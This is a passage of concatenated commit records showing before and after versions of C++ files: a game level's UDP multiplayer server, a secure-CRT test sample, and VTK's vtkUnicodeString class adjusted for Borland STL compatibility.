netNS::NET_ERROR)\n\t\t\t{\n\t\t\t\tAnnDebug() << net.getError(status); \/\/ display error\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttoServerData.playerN = i; \/\/ clear join request from\n\t\t\t\t\t\t\t\t\t \/\/  input buffer\n\t\t\tss << \"Connected player as number: \" << i;\n\t\t\tAnnDebug() << ss.str(); \/\/ found available player\n\t\t\treturn;\n\t\t}\n\t}\n\t\/\/ send SERVER_FULL to client\n\tstrcpy_s(connectResponse.response, netNS::SERVER_FULL);\n\tsize = sizeof(connectResponse);\n\tstatus = net.sendData((char*)&connectResponse, size, remoteIP, port);\n\tAnnDebug() << \"server full.\";\n}\n\n\nvoid MyLevel::runLogic()\n{\n}<commit_msg>#13 networking server face<commit_after>#include \"stdafx.h\"\n#include \"myLevel.hpp\"\n#include \"net.h\"\n\nMyLevel::MyLevel() : AnnAbstractLevel()\n{\n}\n\nvoid MyLevel::load()\n{\n\t\/\/For having a lighter syntax :\n\tauto engine(AnnEngine::Instance());\n\t\n\t\/\/Load Sinbad:\n\tauto Sinbad (engine->createGameObject(\"Sinbad.mesh\"));\n\tSinbad->setUpPhysics(100, phyShapeType::boxShape);\n\t\/\/Add it to the level list\n\tlevelContent.push_back(Sinbad);\n\n\t\/\/Load Ground:\n\tauto Ground (engine->createGameObject(\"Ground.mesh\"));\n\tGround->setPos(0,-2,0);\n\tGround->setUpPhysics();\n\t\/\/Add it to the level list\n\tlevelContent.push_back(Ground);\n\n\t\/\/Create a light source\n\tauto light(engine->addLight());\n\tlight->setPosition(0,1,3);\n\t\/\/Add it to the level lst\n\tlevelLighting.push_back(light);\n\n\tengine->setAmbiantLight(Ogre::ColourValue::White\/2);\n\n\tengine->getPlayer()->setPosition(AnnVect3(0,1,0));\n\t\n\n\tengine->resetPlayerPhysics();\n\n}\n\nint MyLevel::initializeServer(int port)\n{\n\tstd::stringstream ss;\n\tif(port < netNS::MIN_PORT)\n\t{\n\t\tAnnDebug() << \"Invalid port number\";\n\t\treturn netNS::NET_ERROR;\n\t}\n\t\/\/ ------ init network stuff -------\n\terror = net.createServer(port, netNS::UDP);\n\tif(error != netNS::NET_OK)\n\t{\n\t\tAnnDebug() << net.getError(error);\n\t\treturn netNS::NET_ERROR;\n\t}\n\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tplayer[i].setConnected(false);\n\t\tplayer[i].setActive(false);\n\t}\n\n\t\/\/ AnnEngine::Instance()->getPlayer()->setPosition(AnnVect3(0,0,2.1));\n\n\tAnnDebug() << \"---- Server ----\";\n\tnet.getLocalIP(localIP);\n\tss << \"Server IP: \" << localIP;\n\tAnnDebug() << ss.str();\n\tss.str(\"\");\n\tss << \"Port: \" << port;\n\tAnnDebug() << ss.str();\n\treturn netNS::NET_OK;\n}\n\n\/\/ --- Do network communications ---\nvoid MyLevel::communicate(float frameTime)\n{\n\t\/\/ communicate with client \n\tdoClientCommunication(); \n\t\/\/ Calculate elapsed time for network communications\n\tnetTime += frameTime;\n\tif(netTime < netNS::NET_TIMER)\n\t\treturn;\n\tnetTime -= netNS::NET_TIMER;\n\t\/\/ check for inactive clients, called every NET_TIMER seconds\n\tcheckNetworkTimeout(); \n}\n\n\/\/ --- Check for network timeout ---\n\nvoid MyLevel::checkNetworkTimeout()\n{\n\tstd::stringstream ss;\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tif (player[i].getConnected())\n\t\t{\n\t\t\tplayer[i].incTimeout();\n\t\t\t\/\/ if communication timout \n\t\t\tif (player[i].getTimeout() > netNS::MAX_ERRORS)\n\t\t\t{\n\t\t\t\tplayer[i].setActive(false);\n\t\t\t\tss << \"***** Player \" << i << \" disconnected. *****\";\n\t\t\t\tAnnDebug() << ss.str();\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid MyLevel::doClientCommunication() \n{\n\tint playN;\n\tint size;\n\tprepareDataForClient(); \n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\tsize = sizeof(toServerData);\n\t\tif( net.readData((char*) &toServerData, size, remoteIP) == netNS::NET_OK)\n\t\t{\n\t\t\tif(size > 0)\n\t\t\t{\n\t\t\t\tplayN = toServerData.playerN;\n\t\t\t\tif (playN == 255)\n\t\t\t\t{\n\t\t\t\t\t\/\/clientWantsTiJoin(); TODO\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (player[playN].getConnected())\n\t\t\t\t\t{\n\t\t\t\t\t\tif (player[playN].getActive())\n\t\t\t\t\t\t\tplayer[playN].setButtons(toServerData.buttons);\n\t\t\t\t\t\tsize = sizeof(toClientData);\n\t\t\t\t\t\t\/\/ send player the latest game data\n\t\t\t\t\t\tnet.sendData((char*) &toClientData, size, player[i].getNetIP());\n\t\t\t\t\t\tplayer[playN].setTimeout(0);\n\t\t\t\t\t\tplayer[playN].setCommWarnings(0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse    \/\/ No more incomming data ? break !!\n\t\t{\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid MyLevel::prepareDataForClient() \n{\n\tfor (int i=0; i<MAX_PLAYERS; i++)\n\t{\n\t\ttoClientData.player[i].playerData = player[i].getNetData();\n\t}\n}\n\n\/\/========================================================================\n\/\/ Client is requesting to join game\n\/\/========================================================================\n\nvoid MyLevel::clientWantToJoin()\n{\n\tstd::stringstream ss;\n\tint size;\n\tint status;\n\tconnectResponse.number = 255;\n\tif (playerCount == 0)\n\t{\n\t\t\/\/roundOver = true;\n\t\t\/\/ score system goes here (TODO)\n\t}\n\tAnnDebug() << \"Player requesting to join.\";\n\t\/\/ find available player position to use\n\tfor(int i=0; i<MAX_PLAYERS; i++) \/\/ search all player position\n\t{\n\t\tif (player[i].getConnected() == false) \/\/ if this position available\n\t\t{\n\t\t\tplayer[i].setConnected(true);\n\t\t\tplayer[i].setTimeout(0);\n\t\t\tplayer[i].setCommWarnings(0);\n\t\t\tplayer[i].setNetIP(remoteIP); \/\/ save player's IP\n\t\t\tplayer[i].setCommErrors(0); \/\/ clear old errors\n\t\t\t\/\/ send SERVER_ID adn player number to client\n\t\t\tstrcpy_s(connectResponse.response, netNS::SERVER_ID);\n\t\t\tconnectResponse.number = (UCHAR)i;\n\t\t\tsize = sizeof(connectResponse);\n\t\t\tstatus = net.sendData((char*) &connectResponse, size, remoteIP, port);\n\t\t\tif (status == netNS::NET_ERROR)\n\t\t\t{\n\t\t\t\tAnnDebug() << net.getError(status); \/\/ display error\n\t\t\t\treturn;\n\t\t\t}\n\t\t\ttoServerData.playerN = i; \/\/ clear join request from\n\t\t\t\t\t\t\t\t\t \/\/  input buffer\n\t\t\tss << \"Connected player as number: \" << i;\n\t\t\tAnnDebug() << ss.str(); \/\/ found available player\n\t\t\treturn;\n\t\t}\n\t}\n\t\/\/ send SERVER_FULL to client\n\tstrcpy_s(connectResponse.response, netNS::SERVER_FULL);\n\tsize = sizeof(connectResponse);\n\tstatus = net.sendData((char*)&connectResponse, size, remoteIP, port);\n\tAnnDebug() << \"server full.\";\n}\n\n\nvoid MyLevel::runLogic()\n{\n\tcommunicate(frameTime);\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ CodeSamples.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include \"UserTypeToString.h\"\n#include <cstdio>\n#include <string.h>\n#include <crtdbg.h>\n\nvoid _invalid_parameter(const wchar_t * expression,\n    const wchar_t * function,\n    const wchar_t * file,\n    unsigned int line,\n    uintptr_t pReserved\n    )\n{\n    wprintf(L\"Invalid parameter detected in function %s.\"\n        L\" File: %s Line: %d\\n\", function, file, line);\n    wprintf(L\"Expression: %s\\n\", expression);\n}\n\nvoid TestSecureCrtFunctions()\n{\n    _invalid_parameter_handler oldHandler, newHandler;\n    newHandler = _invalid_parameter;\n    oldHandler = _set_invalid_parameter_handler(newHandler);\n\n    \/\/ Experimentation with C-Run time functions\n    wchar_t* src = L\"this is a string that is too big to copy to the destination\";\n    wchar_t destination[10] = { 0 };\n    try\n    {\n        auto result = wcscpy_s(destination, 10, src);\n        if (result != 0)\n        {\n            wprintf(L\"copy failed!\\n\");\n        }\n        wprintf(destination);\n    }\n    catch (...)\n    {\n        wprintf(L\"copy failed!\\n\");\n    }\n}\n\nint main(int argc, wchar_t* argv[])\n{\n\t\/\/ Test streaming a user defined type to an output stream\n\t\/*UserTypeToString obj(\"Shawn Fox\", 25, 14000000.35);\n\tstd::cout << obj << std::endl;*\/\n\n\treturn 0;\n}\n\n<commit_msg>Turn off assertion pop-up for CRT function assertions.<commit_after>\/\/ CodeSamples.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include \"UserTypeToString.h\"\n#include <cstdio>\n#include <string.h>\n#include <crtdbg.h>\n\nvoid _invalid_parameter(const wchar_t * expression,\n    const wchar_t * function,\n    const wchar_t * file,\n    unsigned int line,\n    uintptr_t pReserved\n    )\n{\n    wprintf(L\"Invalid parameter detected in function %s.\"\n        L\" File: %s Line: %d\\n\", function, file, line);\n    wprintf(L\"Expression: %s\\n\", expression);\n}\n\nvoid TestSecureCrtFunctions()\n{\n    _invalid_parameter_handler oldHandler, newHandler;\n    newHandler = _invalid_parameter;\n    oldHandler = _set_invalid_parameter_handler(newHandler);\n    \/\/ Disable the message box for assertions.\n    _CrtSetReportMode(_CRT_ASSERT, 0);\n\n    \/\/ Experimentation with C-Run time functions\n    wchar_t* src = L\"this is a string that is too big to copy to the destination\";\n    wchar_t destination[10] = { 0 };\n    try\n    {\n        auto result = wcscpy_s(destination, 10, src);\n        if (result != 0)\n        {\n            wprintf(L\"copy failed!\\n\");\n        }\n        wprintf(destination);\n    }\n    catch (...)\n    {\n        wprintf(L\"copy failed!\\n\");\n    }\n}\n\nint main(int argc, wchar_t* argv[])\n{\n\t\/\/ Test streaming a user defined type to an output stream\n\t\/*UserTypeToString obj(\"Shawn Fox\", 25, 14000000.35);\n\tstd::cout << obj << std::endl;*\/\n    TestSecureCrtFunctions();\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkUnicodeString.cxx\n  \n-------------------------------------------------------------------------\n  Copyright 2008 Sandia Corporation.\n  Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n  the U.S. Government retains certain rights in this software.\n-------------------------------------------------------------------------\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n#include \"vtkUnicodeString.h\"\n\n#include <vtkObject.h>\n#include <utf8.h>\n\n#include <vtkstd\/map>\n#include <vtkstd\/stdexcept>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vtkUnicodeString::const_iterator\n\nvtkUnicodeString::const_iterator::const_iterator()\n{\n}\n\nvtkUnicodeString::const_iterator::const_iterator(vtkstd::string::const_iterator position) :\n  Position(position)\n{\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::const_iterator::operator*() const\n{\n  return utf8::unchecked::peek_next(this->Position);\n}\n\nbool vtkUnicodeString::const_iterator::operator==(const const_iterator& rhs) const\n{\n  return this->Position == rhs.Position;\n}\n\nbool vtkUnicodeString::const_iterator::operator!=(const const_iterator& rhs) const\n{\n  return !(*this == rhs);\n}\n\nvtkUnicodeString::const_iterator& vtkUnicodeString::const_iterator::operator++()\n{\n  utf8::unchecked::advance(this->Position, 1);\n  return *this;\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::const_iterator::operator++(int)\n{\n  const_iterator result(this->Position);\n  utf8::unchecked::advance(this->Position, 1);\n  return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vtkUnicodeString\n\nvtkUnicodeString::vtkUnicodeString()\n{\n}\n\nvtkUnicodeString::vtkUnicodeString(const vtkUnicodeString& rhs) :\n  Storage(rhs.Storage)\n{\n}\n\nvtkUnicodeString::vtkUnicodeString(size_type count, value_type character)\n{\n  for(size_type i = 0; i != count; ++i)\n    utf8::append(character, vtkstd::back_inserter(this->Storage));\n}\n\nvtkUnicodeString::vtkUnicodeString(const_iterator first, const_iterator last) :\n  Storage(first.Position, last.Position)\n{\n}\n\nbool vtkUnicodeString::is_utf8(const char* value)\n{\n  return vtkUnicodeString::is_utf8(vtkstd::string(value ? value : \"\"));\n}\n\nbool vtkUnicodeString::is_utf8(const vtkstd::string& value)\n{\n  return utf8::is_valid(value.begin(), value.end());\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf8(const char* value)\n{\n  return vtkUnicodeString::from_utf8(vtkstd::string(value ? value : \"\"));\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf8(const vtkstd::string& value)\n{\n  vtkUnicodeString result;\n  if(utf8::is_valid(value.begin(), value.end()))\n    {\n    result.Storage = value;\n    }\n  else\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::from_utf8(): not a valid UTF-8 string.\");\n    }\n  return result;\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf16(const vtkTypeUInt16* value)\n{\n  vtkUnicodeString result;\n\n  if(value)\n    {\n    size_type length = 0;\n    while(value[length])\n      ++length;\n\n    try\n      {   \n      utf8::utf16to8(value, value + length, vtkstd::back_inserter(result.Storage));\n      }\n    catch(utf8::invalid_utf16&)\n      {\n      vtkGenericWarningMacro(<< \"vtkUnicodeString::from_utf16(): not a valid UTF-16 string.\");\n      }\n    }\n\n  return result;\n}\n\nvtkUnicodeString& vtkUnicodeString::operator=(const vtkUnicodeString& rhs)\n{\n  if(this == &rhs)\n    return *this;\n\n  this->Storage = rhs.Storage;\n  return *this;\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::begin() const\n{\n  return const_iterator(this->Storage.begin());\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::end() const\n{\n  return const_iterator(this->Storage.end());\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::at(size_type offset) const\n{\n  if(offset >= this->character_count())\n    throw vtkstd::out_of_range(\"character out-of-range\");\n\n  vtkstd::string::const_iterator iterator = this->Storage.begin();\n  utf8::unchecked::advance(iterator, offset);\n  return utf8::unchecked::peek_next(iterator);\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::operator[](size_type offset) const\n{\n  vtkstd::string::const_iterator iterator = this->Storage.begin();\n  utf8::unchecked::advance(iterator, offset);\n  return utf8::unchecked::peek_next(iterator);\n}\n\nconst char* vtkUnicodeString::utf8_str() const\n{\n  return this->Storage.c_str();\n}\n\nvoid vtkUnicodeString::utf8_str(vtkstd::string& result) const\n{\n  result = this->Storage;\n}\n\nvtkstd::vector<vtkTypeUInt16> vtkUnicodeString::utf16_str() const\n{\n  vtkstd::vector<vtkTypeUInt16> result;\n  utf8::unchecked::utf8to16(this->Storage.begin(), this->Storage.end(), vtkstd::back_inserter(result));\n  return result;\n}\n\nvoid vtkUnicodeString::utf16_str(vtkstd::vector<vtkTypeUInt16>& result) const\n{\n  result.clear();\n  utf8::unchecked::utf8to16(this->Storage.begin(), this->Storage.end(), vtkstd::back_inserter(result));\n}\n\nvtkUnicodeString::size_type vtkUnicodeString::byte_count() const\n{\n  return this->Storage.size();\n}\n\nvtkUnicodeString::size_type vtkUnicodeString::character_count() const\n{\n  return utf8::unchecked::distance(this->Storage.begin(), this->Storage.end());\n}\n\nbool vtkUnicodeString::empty() const\n{\n  return this->Storage.empty();\n}\n\nvtkUnicodeString& vtkUnicodeString::operator+=(value_type value)\n{\n  this->push_back(value);\n  return *this;\n}\n\nvtkUnicodeString& vtkUnicodeString::operator+=(const vtkUnicodeString& rhs)\n{\n  this->append(rhs);\n  return *this;\n}\n\nvoid vtkUnicodeString::push_back(value_type character)\n{\n  try\n    {\n    utf8::append(character, vtkstd::back_inserter(this->Storage));\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::push_back(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::append(const vtkUnicodeString& value)\n{\n  this->Storage.append(value.Storage);\n}\n\nvoid vtkUnicodeString::append(size_type count, value_type character)\n{\n  try\n    {\n    this->Storage.append(vtkUnicodeString(count, character).Storage);\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::append(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::append(const_iterator first, const_iterator last)\n{\n  this->Storage.append(first.Position, last.Position);\n}\n\nvoid vtkUnicodeString::assign(const vtkUnicodeString& value)\n{\n  this->Storage.assign(value.Storage);\n}\n\nvoid vtkUnicodeString::assign(size_type count, value_type character)\n{\n  try\n    {\n    this->Storage.assign(vtkUnicodeString(count, character).Storage);\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::assign(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::assign(const_iterator first, const_iterator last)\n{\n  this->Storage.assign(first.Position, last.Position);\n}\n\nvoid vtkUnicodeString::clear()\n{\n  this->Storage.clear();\n}\n\nvtkUnicodeString vtkUnicodeString::fold_case() const\n{\n  typedef vtkstd::map<value_type, vtkUnicodeString> map_t;\n\n  static map_t map;\n  if(map.empty())\n    {\n    #include <vtkUnicodeCaseFoldData.h>\n\n    for(value_type* i = &vtkUnicodeCaseFoldData[0]; *i; ++i)\n      {\n      const value_type code = *i;\n      vtkUnicodeString mapping;\n      for(++i; *i; ++i)\n        {\n        mapping.push_back(*i);\n        }\n      map.insert(vtkstd::make_pair(code, mapping));\n      }\n    }\n  \n  vtkUnicodeString result;\n\n  for(vtkUnicodeString::const_iterator source = this->begin(); source != this->end(); ++source)\n    {\n    map_t::const_iterator target = map.find(*source);\n    if(target != map.end())\n      {\n      result.append(target->second);\n      }\n    else\n      {\n      result.push_back(*source);\n      }\n    }\n\n  return result;\n}\n\nint vtkUnicodeString::compare(const vtkUnicodeString& rhs) const\n{\n  return this->Storage.compare(rhs.Storage);\n}\n\nvoid vtkUnicodeString::swap(vtkUnicodeString& rhs)\n{\n  vtkstd::swap(this->Storage, rhs.Storage);\n}\n\nbool operator==(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) == 0;\n}\n\nbool operator!=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) != 0;\n}\n\nbool operator<(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) < 0;\n}\n\nbool operator<=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) <= 0;\n}\n\nbool operator>=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) >= 0;\n}\n\nbool operator>(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) > 0;\n}\n<commit_msg>COMP: Borland stl string does not have iterator-to-iterator assign or append signatures, but it does have iterator-plus-length signatures.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkUnicodeString.cxx\n  \n-------------------------------------------------------------------------\n  Copyright 2008 Sandia Corporation.\n  Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n  the U.S. Government retains certain rights in this software.\n-------------------------------------------------------------------------\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\n#include \"vtkUnicodeString.h\"\n\n#include <vtkObject.h>\n#include <utf8.h>\n\n#include <vtkstd\/map>\n#include <vtkstd\/stdexcept>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vtkUnicodeString::const_iterator\n\nvtkUnicodeString::const_iterator::const_iterator()\n{\n}\n\nvtkUnicodeString::const_iterator::const_iterator(vtkstd::string::const_iterator position) :\n  Position(position)\n{\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::const_iterator::operator*() const\n{\n  return utf8::unchecked::peek_next(this->Position);\n}\n\nbool vtkUnicodeString::const_iterator::operator==(const const_iterator& rhs) const\n{\n  return this->Position == rhs.Position;\n}\n\nbool vtkUnicodeString::const_iterator::operator!=(const const_iterator& rhs) const\n{\n  return !(*this == rhs);\n}\n\nvtkUnicodeString::const_iterator& vtkUnicodeString::const_iterator::operator++()\n{\n  utf8::unchecked::advance(this->Position, 1);\n  return *this;\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::const_iterator::operator++(int)\n{\n  const_iterator result(this->Position);\n  utf8::unchecked::advance(this->Position, 1);\n  return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vtkUnicodeString\n\nvtkUnicodeString::vtkUnicodeString()\n{\n}\n\nvtkUnicodeString::vtkUnicodeString(const vtkUnicodeString& rhs) :\n  Storage(rhs.Storage)\n{\n}\n\nvtkUnicodeString::vtkUnicodeString(size_type count, value_type character)\n{\n  for(size_type i = 0; i != count; ++i)\n    utf8::append(character, vtkstd::back_inserter(this->Storage));\n}\n\nvtkUnicodeString::vtkUnicodeString(const_iterator first, const_iterator last) :\n  Storage(first.Position, last.Position)\n{\n}\n\nbool vtkUnicodeString::is_utf8(const char* value)\n{\n  return vtkUnicodeString::is_utf8(vtkstd::string(value ? value : \"\"));\n}\n\nbool vtkUnicodeString::is_utf8(const vtkstd::string& value)\n{\n  return utf8::is_valid(value.begin(), value.end());\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf8(const char* value)\n{\n  return vtkUnicodeString::from_utf8(vtkstd::string(value ? value : \"\"));\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf8(const vtkstd::string& value)\n{\n  vtkUnicodeString result;\n  if(utf8::is_valid(value.begin(), value.end()))\n    {\n    result.Storage = value;\n    }\n  else\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::from_utf8(): not a valid UTF-8 string.\");\n    }\n  return result;\n}\n\nvtkUnicodeString vtkUnicodeString::from_utf16(const vtkTypeUInt16* value)\n{\n  vtkUnicodeString result;\n\n  if(value)\n    {\n    size_type length = 0;\n    while(value[length])\n      ++length;\n\n    try\n      {   \n      utf8::utf16to8(value, value + length, vtkstd::back_inserter(result.Storage));\n      }\n    catch(utf8::invalid_utf16&)\n      {\n      vtkGenericWarningMacro(<< \"vtkUnicodeString::from_utf16(): not a valid UTF-16 string.\");\n      }\n    }\n\n  return result;\n}\n\nvtkUnicodeString& vtkUnicodeString::operator=(const vtkUnicodeString& rhs)\n{\n  if(this == &rhs)\n    return *this;\n\n  this->Storage = rhs.Storage;\n  return *this;\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::begin() const\n{\n  return const_iterator(this->Storage.begin());\n}\n\nvtkUnicodeString::const_iterator vtkUnicodeString::end() const\n{\n  return const_iterator(this->Storage.end());\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::at(size_type offset) const\n{\n  if(offset >= this->character_count())\n    throw vtkstd::out_of_range(\"character out-of-range\");\n\n  vtkstd::string::const_iterator iterator = this->Storage.begin();\n  utf8::unchecked::advance(iterator, offset);\n  return utf8::unchecked::peek_next(iterator);\n}\n\nvtkUnicodeString::value_type vtkUnicodeString::operator[](size_type offset) const\n{\n  vtkstd::string::const_iterator iterator = this->Storage.begin();\n  utf8::unchecked::advance(iterator, offset);\n  return utf8::unchecked::peek_next(iterator);\n}\n\nconst char* vtkUnicodeString::utf8_str() const\n{\n  return this->Storage.c_str();\n}\n\nvoid vtkUnicodeString::utf8_str(vtkstd::string& result) const\n{\n  result = this->Storage;\n}\n\nvtkstd::vector<vtkTypeUInt16> vtkUnicodeString::utf16_str() const\n{\n  vtkstd::vector<vtkTypeUInt16> result;\n  utf8::unchecked::utf8to16(this->Storage.begin(), this->Storage.end(), vtkstd::back_inserter(result));\n  return result;\n}\n\nvoid vtkUnicodeString::utf16_str(vtkstd::vector<vtkTypeUInt16>& result) const\n{\n  result.clear();\n  utf8::unchecked::utf8to16(this->Storage.begin(), this->Storage.end(), vtkstd::back_inserter(result));\n}\n\nvtkUnicodeString::size_type vtkUnicodeString::byte_count() const\n{\n  return this->Storage.size();\n}\n\nvtkUnicodeString::size_type vtkUnicodeString::character_count() const\n{\n  return utf8::unchecked::distance(this->Storage.begin(), this->Storage.end());\n}\n\nbool vtkUnicodeString::empty() const\n{\n  return this->Storage.empty();\n}\n\nvtkUnicodeString& vtkUnicodeString::operator+=(value_type value)\n{\n  this->push_back(value);\n  return *this;\n}\n\nvtkUnicodeString& vtkUnicodeString::operator+=(const vtkUnicodeString& rhs)\n{\n  this->append(rhs);\n  return *this;\n}\n\nvoid vtkUnicodeString::push_back(value_type character)\n{\n  try\n    {\n    utf8::append(character, vtkstd::back_inserter(this->Storage));\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::push_back(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::append(const vtkUnicodeString& value)\n{\n  this->Storage.append(value.Storage);\n}\n\nvoid vtkUnicodeString::append(size_type count, value_type character)\n{\n  try\n    {\n    this->Storage.append(vtkUnicodeString(count, character).Storage);\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::append(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::append(const_iterator first, const_iterator last)\n{\n  this->Storage.append(first.Position, last.Position-first.Position);\n}\n\nvoid vtkUnicodeString::assign(const vtkUnicodeString& value)\n{\n  this->Storage.assign(value.Storage);\n}\n\nvoid vtkUnicodeString::assign(size_type count, value_type character)\n{\n  try\n    {\n    this->Storage.assign(vtkUnicodeString(count, character).Storage);\n    }\n  catch(utf8::invalid_code_point&)\n    {\n    vtkGenericWarningMacro(\"vtkUnicodeString::assign(): \" << character << \"is not a valid Unicode code point\");\n    }\n}\n\nvoid vtkUnicodeString::assign(const_iterator first, const_iterator last)\n{\n  this->Storage.assign(first.Position, last.Position-first.Position);\n}\n\nvoid vtkUnicodeString::clear()\n{\n  this->Storage.clear();\n}\n\nvtkUnicodeString vtkUnicodeString::fold_case() const\n{\n  typedef vtkstd::map<value_type, vtkUnicodeString> map_t;\n\n  static map_t map;\n  if(map.empty())\n    {\n    #include <vtkUnicodeCaseFoldData.h>\n\n    for(value_type* i = &vtkUnicodeCaseFoldData[0]; *i; ++i)\n      {\n      const value_type code = *i;\n      vtkUnicodeString mapping;\n      for(++i; *i; ++i)\n        {\n        mapping.push_back(*i);\n        }\n      map.insert(vtkstd::make_pair(code, mapping));\n      }\n    }\n  \n  vtkUnicodeString result;\n\n  for(vtkUnicodeString::const_iterator source = this->begin(); source != this->end(); ++source)\n    {\n    map_t::const_iterator target = map.find(*source);\n    if(target != map.end())\n      {\n      result.append(target->second);\n      }\n    else\n      {\n      result.push_back(*source);\n      }\n    }\n\n  return result;\n}\n\nint vtkUnicodeString::compare(const vtkUnicodeString& rhs) const\n{\n  return this->Storage.compare(rhs.Storage);\n}\n\nvoid vtkUnicodeString::swap(vtkUnicodeString& rhs)\n{\n  vtkstd::swap(this->Storage, rhs.Storage);\n}\n\nbool operator==(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) == 0;\n}\n\nbool operator!=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) != 0;\n}\n\nbool operator<(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) < 0;\n}\n\nbool operator<=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) <= 0;\n}\n\nbool operator>=(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) >= 0;\n}\n\nbool operator>(const vtkUnicodeString& lhs, const vtkUnicodeString& rhs)\n{\n  return lhs.compare(rhs) > 0;\n}\n<|endoftext|>"}
